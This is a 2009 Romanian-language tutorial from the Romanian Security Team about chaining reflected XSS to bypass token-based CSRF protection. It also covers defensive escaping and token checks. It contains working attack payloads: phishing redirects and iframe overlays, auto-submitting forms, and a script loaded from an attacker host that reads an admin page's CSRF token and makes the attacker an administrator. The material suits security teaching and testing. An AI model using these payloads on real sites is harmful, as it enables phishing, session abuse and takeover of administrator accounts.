Folosire XSS pentru a trece de protectia CSRF

```
<?php

   // Autor: Nytro
   // Contact: nytro_rst@yahoo.com
   // Publicat: 28 Octombrie 2009
   // Romanian Security Team

?>
```


Salut, in acest tutorial va voi prezenta cum sa folositi XSS pentru a trece de protectia CSRF. Daca sunteti familiarizati cu termenii XSS si CSRF puteti sari peste primele 2 capitole, dar eu va recomand sa le cititi.

Atentie! Tutorialul a fost scris doar in scopuri educative, nu sunt raspunzator de actiunile voastre.

1) Despre XSS (Cross Site Scripting)

XSS e probabil cea mai des intalnita vulnerabilitate Web. Aceasta vulnerabilitate afecteaza clientul, mai exact utilizatorul aplicatiei cu probleme. Nu este extrem de periculoasa, dar poate provoca multe probleme. Foarte multe site-uri au aceasta problema, dar nu prea au de ce sa isi faca griji, sunt foarte putini care se folosesc de ea.

Ideea de baza e simpla. Aplicatia Web primeste de la client date, de obicei prin GET si le afiseaza. Spre exemplu:

```
if(isset($_GET['text']))
{
        $var = $_GET['text'];
        print $var;
}
```

La un request de genul: ***http://www.site.com/script.php?text=test*** va fi afisat *"test"*, insa ce se intampla daca cineva face urmatorul request: ***http://www.site.com/script.php?text=<script>cod_javascript</script>*** ? Ei bine, astfel se va executa acel cod javascript. Probabil va intrebati: cu ce il incanta pe atacator sa ruleze cod javascript trimis prin GET (cand il poate scrie in browser: *javascript:cod_javascript;*). Ei bine,

acel cod nu ii este destinat lui. El poate folosi acel link: ***http://www.site.com/script.php?text=<script>cod_javascript</script>*** pentru a-l trimite cuiva, pentru a-l accesa cineva, iar acel cod javascript va fi rulat pe calculatorul victimei.

Cel mai adesea, aceasta problema este gasita in cautele de cautare, fie ca datele sunt trimise prin POST, fie ca sunt trimise prin GET, la intoarcerea rezultatului se afiseaza ceva de genul: *"Ati cautat 'test'"*, dar daca requestul e ***http://www.site.com/script.php?text=<script>cod_javascript</script>*** , se va afisa *"Ati cautat ''"* si se va rula acel cod javascript.

Dar ce se poate face cu acel cod javascript, cat de periculos poate fi? Ei bine, se pot face destule. De exemplu, si motivul pentru care XSS e atat de popular, e furtul cookie-urilor. Dupa cum stiti, avand cookie-urile unei victime logate pe un site, le puteti folosi pentru a fi logat cu contul victimei. Asta se poate face destul de usor cu un cookie grabber. Un cookie grabber e un fisier PHP care primeste date prin GET (le poate primi si prin POST) si le scrie intr-un fisier pe serverul pe care se afla, adica serverul atacatorului. E necesar ca scriptul nostru sa ruleze pe aplicatia cu probleme, deoarece daca nu va rula pe acea aplicatie, document.cookie nu va returna cookie-urile pe care le vrem. Dar nu asta vreau sa acopar in acest tutorial, nu asta ne intereseaza, gasiti destule informatii despre acest lucru.

Ei bine, XSS se mai poate folosi la fel de bine pentru phishing, pentru furtul informatiilor de autentificare ale victimei, la fel de simplu: Atacatorul ofera victimei un link de genul: ***http://www.site.com/script.php?text=<script>document.location.href = "http://www.site-atacator.com/phishing.html"</script>*** , victima e redirectionata catre pagina de phishing, se logheaza pe acea pagina, iar atacatorul ii fura datele personale. Insa acest lucru se poate face si cu un ***<iframe>***. De exemplu:

<iframe src="http://atacator.com/pagina_phishing_identica_cu_cea_a_aplicatiei_web.html" style="z-index: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;"></iframe>

E foarte simplu, folosindu-ne de CSS, cream un iframe pe toata pagina. Utilizatorul va vedea ca link-ul este cel "bun", si se logheaza.

Problema cu aceasta vulnerabilitate e tocmai ca link-ul *"este bun"*. Asadar victima e posibil sa nu stie daca e vreo problema sau nu. Desigur, isi poate da seama dupa query, dar acesta poate fi encodat.

De obicei, pentru a afla daca un site e vulnerabil se foloseste: ***<script>alert(1)</script>*** sau ***"><script>alert(1)</script>***. Ei bine, sunt foarte multe astfel de posibilitati, unele functionand pe unele browsere, unele nu. Gasiti o lista lunga aici: ***http://ha.ckers.org/xss.html***

Se mai poate folosi pentru *"a face o pagina mai frumoasa"*, pentru fun. De exemplu, vizitati *www.alonia.ro* si la cautare scrieti:
<script>document.images[4].src="http://rstcenter.com/up/director/RST.png"</script> . Se pot face multe lucruri.

Si, o sa vedeti mai tarziu, se poate folosi pentru a trece de filtrele CSRF.

Pentru a scapa de aceasta problema, trebuie sa scapati de caracterele <>. Programatorilor PHP le recomand functia htmlspecialchars (sau htmlentities) cu al doilea parametru ENT_QUOTES. Ambele functii convertesc converstesc ">" in ">" si "<" in "<", iar daca se foloseste ca al doilea parametru ENT_QUOTES, functia va transforma in entitati HTML si ghililemele duble (") si cele simple ('). Astfel, la un request de genul:
http://site.com/script.php?text=<script>alert('1')</script> , in sursa va aparea *<script>alert('1')</script>* dar textul va fi ***<script>alert('1')</script>*** si nu mai aveti probleme. Recomand si folosirea celui de-al doilea parametru, va poate scuti de alte probleme. Codul ar trebui sa arate cam asa:

```
if(isset($_GET['text']))
{
        $var= $_GET['text'];
        print htmlentities($var, ENT_QUOTES);
        // Sau print htmlspecialchars($var, ENT_QUOTES);
}
```

Poate va intrebati daca un XSS poate fi exploatat si daca datele sunt trimise prin POST. Putem spune ca nu, dar putem spune si ca da. Daca datele sunt trimise prin POST, victima nu poate fi direct atacata, ea nu poate accesa pur si simplu un link si gata, de aceea putem spune ca nu se poate exploata. Dar, victima poate intra pe o pagina oarecare creata de atacator, iar acea pagina va trimite codul malitios prin POST catre pagina aplicatiei Web vulnerabile. De exemplu:

```
<form style="display: none;" method="post" action="http://www.alonia.ro/search">
<input type="hidden" name="searchStr" value="<script>alert(1)</script>" />
<input name="trimite" type="submit" id="trimite" />
</form>

<script>
document.forms[0].trimite.click();
</script>
```

Ideea e simpla: cream un formular ca cel al aplicatiei cu probleme (aveti grija ca numele campurilor sa coincida) si automatizam practic o cautare, practic realizam automat

acel query, astfel trimitem datele prin POST, victima e redirectionata catre pagina cu codul nostru javascript care este executat.

2) Despre CSRF (Cross Site Request Forgery)

CSRF e o vulnerabilitate destul de des intalnita in ziua de azi, poate pentru ca multi nu cred ca au auzit de ea. Afecteaza, la fel ca si XSS clientul, mai exact, si la XSS si la CSRF, tintele atacatorilor sunt utilizatorii aplicatiei Web.

Ceea ce permite aceasta vulnerabilitate este o automatizare a unei actiuni, aceasta actiune fiind facuta in general de administratorii aplicatiei. La acest tip de vulnerabilitate, victimele sunt utilizatori ai aplicatiei autentificati, iar CSRF permite automatizarea unor actiuni pe care acestia le pot face.

Spre exemplu, un administrator, in panoul de administrare are o pagina de unde poate sterge un articol, direct prin click pe un link, spre exemplu: ***http://www.site.com/admin/sterge_articol?articol_id=123*** . Atacatorul poate crea o pagina in care sa introduca de exemplu urmatorul cod: ***<iframe src="http://www.site.com/admin/sterge_articol?articol_id=123" width="0" height="0"></iframe>*** . Iar cand victima, in acest caz administratorul site-ului viziteaza aceasta pagina, va face request catre ***http://www.site.com/admin/sterge_articol?articol_id=123*** fara sa stie, si va sterge articolul cu acel id din baza de date. Desigur, id-ul poate fi trimis si prin POST, dintr-un formular, dar atacatorul poate copia acel formular si poate trimite acele date prin javascript: ***document.forms[0].trimite.click();*** . Cam asta e ideea de baza.

E destul de usor ca o aplicatie sa fie protejata de aceasta problema, si putem enumera mai multe metode. Cea mai utilizata metoda si una foarte buna o reprezinta folosirea unor tokens, niste siruri care pot fi generate aleator si care sunt pastrate in sesiuni, in momentul logarii.

```
if(isset($_POST['logare']))
{
        // Verificare logare
        $_SESSTION['token'] = Aleator();
}
```

Eu folosesc aceasta functie, este putin prost scrisa, dar face ce vreau eu si pot specifica ce caractere vreau in token si lungimea sa.

```
function Aleator()
{
```

```
        $chars =
array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a
','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','
7','8','9');
        shuffle($chars);
        $sir = substr(implode('', $chars), 0, 10);
        return $sir;
}
```

Putem folosi acesti tokens pentru a verifica daca request-ul este intr-adevar efectuat de persoana in cauza si nu este automatizat prin CSRF. Sa dau mai bine un exemplu. De exemplu, la stergerea unui fisier, cand cream linkul de download, adaugam si acest token:

```
print '<a href="admin.php?actiune=sterge_articol&articol_id' . $date['id'] . '&token=' .
$_SESSION['token'] . '">Sterge</a>';
```

Asadar, linkul de stergere va fi de genul: ***http://www.site.com/admin.php?actiune=sterge_articol&articol_id=123&token=qdY4f6FTpO*** . Mai trebuie sa verificam inaintea actiunii, in cazul nostru stergerea articolului, daca tokenul este egal cu cel din sesiune:

```
if(isset($_GET['sterge_articol']))
{
        if($_SESSION['token'] == $_GET['token'])
        {
                // sterge_articolul_specificat();
        }
        else print 'Tokenul nu corespunde, e posibil sa fiti victima unui atac CSRF';
}
```

Astfel, atacatorul nu va sti acest token si nu va putea crea un link valid de stergere pentru un articol.

Alte metode, mai sigure, dar mai *"costisitoare de timp"* ar fi sa cereti parola utilizatorului/administratorului la fiecare actiune importanta, sau sa folositi o imagine CAPTCHA si sa verificati textul introdus de utilizator.

3) Folosire XSS pentru a trece de protectia CSRF

Ei bine, acum trecem la ceea ce ne intereseaza de fapt si anume cum sa folosim XSS pentru a trece de protectia CSRF. Ei bine, acesta tehnica se aplica acelor site-uri care au o aplicatie care este protejata de CSRF si o pagina, sau o alta aplicatie care este vulnerabila la

XSS. Ei bine, folosindu-ne de acel XSS putem trece de protectia CSRF si putem automatiza orice actiune pe care o poate face cineva pe aplicatia care nu are probleme. De exemplu, un site are o mica aplicatie pe pagina principala care este vulnerabila la XSS, si un forum pe */forum* care desigur nu e vulnerabil la CSRF. Vom vedea cum ne putem folosi de acel XSS pentru a trece de protectia CSRF a forumului.

Cum am spus mai sus, sunt mai multe metode de a preveni CSRF, dar cea mai intalnita este folosirea token-urilor in campuri ascunse (***<input type="hidden" name="token" value="<?php print $_SESSION['token']; ?>" />***) pe care le verifica inainte de executarea actiunii. Peste acest tip de protectie vom incerca sa trecem, sa il ocolim, pentru a face ceea ce dorim.

Sa incep cu ideea de baza si anume cum putem trece de protectia CSRF pentru ca nu stim acel token. Solutia este banala, il aflam, si putem face acest lucru extrem de usor folosind javascript. Sa luam un exemplu, adaugarea unui nou administrator in functie de numele utilizatorului care va fi administrator. Asta se va intampla in folderul */admin* care nu e vulnerabil la CSRF:

/admin/admin.php?actiune=adauga_admin (de exemplu...):

```
<form method="get" action="adauga_admin.php">
Nume: <input type="text" name="nume" value="" /><br />
<input type="hidden" name="token" value="<?php print $_SESSION['token']; ?>" />
<input type="submit" name="submit" value="Adauga admin" /><br />
</form>
```

Ei bine, acest script adauga un administrator. La click pe buton administratorul principal va face un request de genul:
http://www.site.com/adauga_admin.php?nume=Nytro&token=1htFI0iA9s&submi t
La verificare, tokenul din sesiune va fi acelasi cu cel trimis din formular, iar Nytro va fi administrator :)

```
<?php

session_start();

if(isset($_GET['submit']))
{
        if($_SESSION['token'] == $_GET['token'])
        {
                // il_facem_pe_Nytro_admin();
                print 'Nytro e admin acum.';
```

```
        }
        else print 'Token invalid _|_ :)';
}

?>
```

Acum sa vedem ce putem face pentru a obtine acel token. Voi folosi ca metoda GET in exemple pentru a fi mai usor de inteles, insa se poate aplica la fel de bine si pentru date trimise prin POST.

Vom considera ca pe pagina principala (***index.php***), aplicatia vulnerabila contine urmatorul cod:

index.php

```
<?php

if(isset($_GET['nume']))
{
        print 'Salut, ' . $_GET['nume'];
}

?>
```

Pentru a simplifica putin lucrurile, nu vom mai scrie codul ostru javascript direct in request, ci il vom scrie intr-un fisier .js, pe care il vom considera uploadat pe ***http://www.atacator.com/script.js***. In request-uri vom folosi: ***http://www.site_vulnerabil.com/index.php?nume=<script src="http://www.atacator.com/script.js"></script>***.
Asadar sa vedem cum putem obtine acel token folosind javascript. Foarte simplu! Vom folosi pur si simplu un ***<iframe>*** in care vom deschide pagina din care se face requestul CSRF (***/admin/admin.php?actiune=adauga_admin***) si il vom citi. Apoi vom vrea linkul si vom redirectiona victima (administratorul) catre el, sau il vom scrie intr-un iframe. Sa trecem la fapte.

Pentru inceput, din codul nostru javascript va trebui sa cream mai intai iframe-ul nostru care va deschide pagina de administrare. Vom pune totul intr-o functie pe care o vom apela la evenimentul onload al iframe-ului pentru a fi siguri ca s-a incarcat pagina.

```
document.writeln('<iframe id="iframe" src="/admin/admin.php?actiune=adauga_admin"
width="0" height="0" onload="citeste()"></iframe>');
```

Apoi vom scrie functia *citeste()* care citeste acel token, si pentru ilustrare, il afiseaza intr-un alert.

```
function citeste()
{
        alert(document.getElementById("iframe").contentDoc ument.forms[0].token.value);
}
```

Asadar, vom folosi un request de genul: ***http://www.site_vulnerabil.com/index.php?nume=<script src="http://www.atacator.com/script.js"></script>*** unde ***http://www.atacator.com/script.js*** este:

```
document.writeln('<iframe id="iframe" src="/admin/admin.php?actiune=adauga_admin"
width="0" height="0" onload="citeste()"></iframe>');

function citeste()
{
        alert(document.getElementById("iframe").contentDoc ument.forms[0].token.value);
}
```

Ar trebui sa apara un alert cu tokenul pe care il voiam. Tot ce trebuie sa mai facem este sa cream un link cu acest token si sa redirectionam utilizatorul catre el. Vom modifica functia citeste pentru a face acest lucru:

```
document.writeln('<iframe id="iframe" src="/admin/admin.php?actiune=adauga_admin"
width="0" height="0" onload="citeste()"></iframe>');

function citeste()
{
        var nume = 'Nytro';
        var token = document.getElementById("iframe").contentDocument.
forms[0].token.value;
        document.location.href = 'http://127.0.0.1/admin/adauga_admin.php?nume=' +
nume + '&token=' + token + '&submit';
}
```

Astfel, daca victima face un request catre: ***http://site_victima.com/index.php?nume=<script src="http://127.0.0.1/script.js></script>***, va fi redirectionata catre ***http://site_victima.com/admin/adauga_admin.php?nume=Nytro&token=aH52G7jtC3&submit*** de exemplu, si Nytro va fi admin. Pentru a nu isi da seama ca a fost victima unui astfel de

atac putem pune totul intr-un iframe:

```
<iframe src='http://site_victima.com/index.php?nume=<script
src="http://127.0.0.1/script.js"></script>' width="300" height="300"></iframe>
```

Ei bine cam asta e ideea de baza. Lucrurile se pot complica foarte mult. Putem folosi un XSS pentru a obtine drepturi de administrator pe un forum vBulletin sau phpBB dar se complica lucrurile, daca va trebui sa tremitem de doua ori date prin POST ar trebui sa folosim iframe in iframe si asa mai departe, nu are rost sa ma complic sau sa va bag in ceata, insa de tinut minte ca se poate.

De asemenea, si cum de cele mai multe ori veti intalni, datele vor trebui trimise prin POST. Nici o problema! Pur si simplu cititi tokenul cum l-am citit mai sus si creati un forumular ca cel al paginii care e protejata de CSRF. In exemplu nostru, in loc de redirect vom modifica scriptul nostru astfel:

```
document.writeln('<iframe id="iframe" src="/admin/admin.php?actiune=adauga_admin"
width="0" height="0" onload="citeste()"></iframe>');

function citeste()
{
        var nume = 'Nytro';
        var token = document.getElementById("iframe").contentDocument.
forms[0].token.value;
        document.writeln('<form width="0" height="0" method="post"
action="/admin/adauga_admin.php">');
        document.writeln('<input type="text" name="nume" value="' + nume + '" /><br
/>');
        document.writeln('<input type="hidden" name="token" value="' + token + '" />');
        document.writeln('<input type="submit" name="submit" value="Adauga admin"
/><br  />');
        document.writeln('</form>');
        document.forms[0].submit.click();
}
```

Aveti grija la formulare, la action-uri si la input-urile din formulare. E putin mai dificil prin POST dar se poate.

Acum poate vreti sa incercati sa puneti la iframe o alta pagina, de exemplu: ***http://www.google.ro*** , sau alt site si sa procedati la fel. Ei bine, nu prea se poate datorita browser-ului, nu va va lasa, veti primi *"Permission denied"*. Nu va permite accesul printr-un frame (sau altceva) la o pagina de pe alt server din masuri de securitate (luate de Netscape cu

mult timp in urma: *'contaminarea datelor'*).

Poate e cam complicat sa creezi link-uri sau chiar sa generezi formulare... De fapt se poate mult mai simplu. Desi nu stiu daca functioneaza pe toate browserele, contentDocument poate fi read only, pe Mozilla nu e. Cum se poate mai simplu: Cream un iframe cu pagina care e protejata de CSRF, scriem numele dorit in formular si *"dam click"* pe butonu submit. Asadar, scriptul nostru, nu conteaza ca datele vor fi trimise prin GET sau prin POST va arata astfel:

```
document.writeln('<iframe id="iframe" src="/admin/admin.php?actiune=adauga_admin"
width="0" height="0" onload="citeste()"></iframe>');
function citeste()
{
        var nume = 'Nytro';
        document.getElementById("iframe").contentDocument. forms[0].nume.value =
nume; // Scriem numele
        document.getElementById("iframe").contentDocument. forms[0].submit.click(); //
Dam click
}
```

Ce poate fi mai simplu de atat?

Cam asta a fost tot, sper ca ati inteles si sper sa nu aplicati ceea ce ati invatat. Repet, am scris acest tutorial doar pentru scopuri educative. Daca aveti intrebari, sugestii sau ati descoperit greseli astept sa ma contactati.

O zi buna, **Nytro @ Romanian Security Team** [*http://www.rstcenter.com/forum/*]